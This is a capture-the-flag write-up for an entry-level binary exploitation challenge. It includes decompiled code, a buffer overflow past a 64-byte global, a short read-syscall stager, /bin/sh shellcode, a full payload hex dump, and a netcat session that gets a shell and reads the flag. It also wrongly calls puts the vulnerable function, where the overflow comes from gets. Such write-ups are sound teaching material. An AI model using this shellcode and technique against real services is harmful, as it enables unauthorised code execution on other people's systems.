CrySyS SecChallenge 2020: Bock Road
This is an entry level binary exploitation challenge. If you are familiar with the basic concepts, you should be able to solve it.
This challenge had an environment accessible over raw TCP. You can emulate it yourself on a server using nc -l -e chall -p <port>
Categories
Reverse Engineering, Exploitation, Buffer Overflow
Files
Links
Solution
Netcatting in results in the terminal waiting for input. Entering something just results in a Nope
. Time to check the binary. As usual, we start with the main
function:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gets((__int64)s);
puts(s);
if ( dword_40E0 != 0xDEADBEEF )
{
puts("Nope");
exit(1);
}
puts("Congratulations, you have successfully modified the variable.");
return 0LL;
}
Hm, this seems pretty useless. We can clearly do buffer overflow with the vulnerable puts
function, but there doesn’t seem to be anything related to flag here. Let’s see what’s near s
:
.bss:00000000000040A0 ; char s[64]
.bss:00000000000040A0 s db 40h dup(?) ; DATA XREF: main+43↑o
.bss:00000000000040A0 ; main+51↑o
.bss:00000000000040E0 dword_40E0 dd ? ; DATA XREF: main+5D↑r
.bss:00000000000040E4 xmmword_40E4 xmmword ? ; DATA XREF: sub_1080+2B↑o
.bss:00000000000040E4 ; sub_1080:loc_10C7↑r
.bss:00000000000040F4 dword_40F4 dd ? ; DATA XREF: sub_1080↑r
So we have dword_40E0
right after s
, an unknown xmmword
and an unknown dword
, both referenced by sub_1080
. What might sub_1080
be?
Seems like it checks the dword for CAFEBABE
, allocates an executable page, copies the xmmword
we control and jumps into it. Almost seems too good to be true. And who’s calling this function anyways?
.fini_array:0000000000003DE8 _fini_array segment para public 'DATA' use64
.fini_array:0000000000003DE8 assume cs:_fini_array
.fini_array:0000000000003DE8 ;org 3DE8h
.fini_array:0000000000003DE8 off_3DE8 dq offset sub_1230 ; DATA XREF: init+1D↑o
.fini_array:0000000000003DF0 dq offset sub_1080
.fini_array:0000000000003DF0 _fini_array ends
That looks like a global destructor, which are called when main returns. This also means we must pass the DEADBEEF
check, because else exit()
is called. How could we get shell with only 16 bytes? Fortunately our input seems to be stdin, so getting more code from stdin would be a great way to send more code to run, if we could get it read more from us. Let’s check how the read syscall works:
rax = 0 (sys_read)
rdi = unsigned int fd (stdin = 0)
rsi = char *buf
rdx = size_t count
I came up with the following shellcode for calling it:
xor edi, edi
lea rdx, [rdi+0x7f]
lea rsi, [rip+0x2]
syscall
Why am I using lea
when rdi
is 0? Because this lets the assembler use the byte offset form of lea
, making the entire instruction only 4 bytes, whereas mov rdx, 0x7f
would be 7 bytes. What’s more I even ended up a byte short. Now we only need a payload.
>>> from pwn import *
>>> context(arch='amd64')
>>> asm(shellcraft.sh())
'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
The input will have a construction like 'a' * 64
+ 0xDEADBEEF
+ <first shellcode>
+ 0xCAFEBABE
+ \n
+ <payload>
. Here’s the final result:
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000040 EF BE AD DE 31 FF 48 8D 57 7F 48 8D 35 02 00 00 ï¾.Þ1ÿH.W.H.5...
00000050 00 0F 05 FF BE BA FE CA 0A 6A 68 48 B8 2F 62 69 ...ÿ¾ºþÊ.jhH¸/bi
00000060 6E 2F 2F 2F 73 50 48 89 E7 68 72 69 01 01 81 34 n///sPH‰çhri...4
00000070 24 01 01 01 01 31 F6 56 6A 08 5E 48 01 E6 56 48 $....1öVj.^H.æVH
00000080 89 E6 31 D2 6A 3B 58 0F 05 00 00 00 00 00 00 00 ‰æ1Òj;X.........
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0 00 00 00 00 00 00 00 00 ........
Time to test it against our target: cat solution - | nc 1.2.3.4 12345
:
user@ubuntu:~$ cat solution - | nc 1.2.3.4 12345
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ�1�H�PH�5
Congratulations, you have successfully modified the variable.
ls
chall
flag.txt
cat flag.txt
cd20{bock_road_15_b4ckd00r3d}
exit
^C